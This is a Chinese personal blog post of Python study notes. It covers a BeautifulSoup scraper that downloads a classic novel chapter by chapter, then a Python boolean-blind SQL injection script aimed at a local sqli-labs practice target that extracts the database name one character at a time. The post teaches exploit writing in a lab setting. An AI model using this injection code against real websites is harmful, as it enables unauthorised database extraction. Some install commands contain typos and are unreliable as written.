Python学习笔记(三)

Python爬虫—bs4模块:

bs4模块介绍

beautifulsoup是Python语言中的模块,专门解析HTML/XML,有以下几个特点:

  1. 他提供了几个超级简单的方法和Pythonic的语句来实现强大的导航、搜索、修改结系树的功能。
  2. 不需要你再考虑编码的问题,他会自动将要出来的文档转化为Unicode编码,并输出为utf-8编码。
  3. 支持Python标准库中的HTML解析器,还支持第三方的模块,如lxml解析器。

使用bs4之前需要先下载模块

解析器安装

beautifulsoup还支持lxml解析器,为了能达到更好的解析效果,建议将两个解析器一并安装上。

lxml安装方法(根据操作系统)

$apt-get install Python-lxml
$easy_install lxml
$pip install lxml

htmllib安装方法(根据操作系统)

$apt-get installPython-html5lib
$easy_install html5lib
$pip install htnl5lib

解析器的使用方法

  1. Python标准库 beautifulsoup(markup,"html.parser")
  2. lxml HTML解析器 beautifulsoup(markup,"lxml")
  3. lxml HTML解析器 beautifulsoup(markup,["xml","xml"])、beautifulsoup(markup,"xml")
  4. html5lib beautifulsoup(markup,"html5lib")

bs4使用流程

  1. 导包:from bs4 import beautifulsoup
  2. 使用方式:可以将一个HTML文档转化为beautifulsoup对象,然后通过对象的方法或者属性取查找指定的节点内容

详情看代码:

def get_content(url):
    content_rep = requests.get(url,headers=header)
    
    content_html = content_rep.text

    chapter_title = bs4.BeautifulSoup(content_html, "html5lib").find('div',class_='card bookmark-list').h1.string

    chapter_content = bs4.BeautifulSoup(content_html, "html5lib").find('div', class_='chapter_content').text

beautifulsoup的对象种类:

  1. tag(常用):就是HTML或者XML中的标签,beautifulsoup会通过一定的方法自动寻找你想要的指定标签。
  2. beautifulsoup(常用):表示是一个文档的全部内容,可以把它当做tag对象,是一个特殊的tag,我们可以分别获取它的类型,名称,属性。
  3. navigablestring:表示可以遍历字符串的意思,其实就是标签内的字符串,是我们要爬取的对象之一。
  4. comment:注释

参考代码:使用bs4将网站中三国演义小说每一章都有爬取到本地磁盘进行存储

#!/usr/bin/python
#--*--coding:utf-8--*--

import requests
import bs4
import io

header = {
        "User-Agent":"firefox 5.0"
        }

def get_content(url):
    content_rep = requests.get(url,headers=header)
    content_html = content_rep.text

    chapter_title = bs4.BeautifulSoup(content_html, "html5lib").find('div',class_='card bookmark-list').h1.string

    chapter_content = bs4.BeautifulSoup(content_html, "html5lib").find('div', class_='chapter_content').text

    return chapter_title+'\n\n\n'+chapter_content+'\n\n\n'


if __name__ == "__main__":
    url = 'https://www.shicimingju.com/book/sanguoyanyi.html'
    rep = requests.get(url, headers=header)
    content = rep.text

    soup = bs4.BeautifulSoup(content, "html5lib")

    a_hrefs = soup.select('.book-mulu > ul > li > a')

    page = 0   #初始化
    total_page = len(a_hrefs)
    print '小说总章数:%d' % total_page

    for a_href in a_hrefs:

        content_url = 'https://www.shicimingju.com'+a_href['href']
        page = page + 1
        print "第 %d 章已下载完成!" % page

        content = get_content(content_url)
        txt = io.open('./sanguo.txt','a',encoding='utf-8')
        txt.write(content)
        txt.flush()
        txt.close()

exp编写

EXP与POC

什么是poc?

  • poc(proof of concept)概念验证——验证漏洞是否存在的程序

什么是exp?

  • 中文直译“漏洞利用”,通过exp能直接利用漏洞进行攻击的程序

区别:

  • poc仅仅用于验证漏洞是否存在,exp则直接是利用漏洞达到攻击的目的。

注意:在这里需要搭建环境测试(这里以sqlilabs靶机进行测试)
下载地址:极速下载

代码实例:

#--*--coding:utf-8--*--
__authour__ = 'RONIN'

import requests
import string

url = "http://192.168.1.12/sqlilabs/Less-8/?id=1"      #定义URL
database_name = ''       #初始化变量database_name

def exp(payload_url):   #6、定义exp函数传payload_url参数(形参没有任何作用)

    rep = requests.get(payload_url)   #7、发数据包包
    rep_len = len(rep.text)
    return rep_len

if __name__ == "__main__":   #1、先定义函数入口,让它从这里先执行

    normal_rep = requests.get(url)       #8、发送正常的包
    normal_len = len(normal_rep.text)    #9、获取正常返回包的长度值

    for i in range(1,20):      #3、i变量用for循环

        length_payload = "\' and length(database())="+str(i)+"%23"   #2、获取数据库的长度payload;需要拼接
        payload_url = url+length_payload      #4、构造完整数据包payload,拼接实现

        result_len = exp(payload_url)         #5、调用exp函数(传递实参),获取包长度,前面要定义一个函数

        if(result_len == normal_len):
            print "数据库的长度为:%d " %i
            break

    for x in range(1,i+1):     ##获取每个字符的值;两个循环,一个是位置1-8,另一个是a-z
        for y in string.ascii_lowercase:
            char_payload = "\' and substr(database(),"+str(x)+",1)=\'"+y+"\'%23"
                #构造爆破数据库名的payload,是为了获取数据库名字的每一个字符是什么

            payload_url = url+char_payload
            result_len = exp(payload_url)   #调用exp函数(传递实参),发数据包

            if(result_len == normal_len):
                database_name += y
                print "数据库的名字为:%s" % database_name
                break

Tips

代码没写完,剩下的正在写,完整的功能可以直接爆所有表、列、字段、数据信息,在这里是通过布尔盲注进行利用

Typecho赞赏功能

「一键投喂 软糖/蛋糕/布丁/牛奶/冰阔乐!」

冷夜清风

(๑>ڡ<)☆谢谢老板们的投食~

使用微信扫描二维码完成支付


添加新评论

选择表情

  TimeLine

恢复正常更新,看心情吧。
--- updated on 2020-10-07 18:52:12 星期三

  About Me

我就是随便写写,您随便看看。
有事说事,没事烧纸,闲人勿扰,谢谢。
侧重方向:渗透测试,IT运维。

  Recent Comments

  •  小白: 无法解压怎么办?
  •  Liu先生的故事小屋: 网站改名字了原站点名字 小酱博客,现站点名字:Liu先生的故事小屋
  •  1231231: 测试
  •  122: 感谢
  •  御宅男: 码农路过,留下一个爪印!!!
  •  xue: 请问怎末给权限
  •  xue: 点了 run 一直闪退啥情况
  •  xue: 怎末解决的大佬
  •  小白兔: 感谢大佬,作为初学者能碰到这样的大佬是真的幸运
  •  wxyccc: 大佬真的太感谢你了 今天在网上找了无数资料都没能装好,出了太多问题, 有幸能看到你的文章 真的...

快乐地过是一天,不快乐地过也是一天,我为什么不快快乐乐地过每一天呢?

岂能尽随人愿,但求无愧我心。

在你内心深处,还有无穷的潜力,有一天当你回首看时,你就会知道这绝对是真的。

活在当下,别在怀念过去或者憧憬未来中浪费掉你现在的生活。

挫折时,要像大树一样,被砍了,还能再长;也要像杂草一样,虽让人践踏,但还能勇敢地活下去。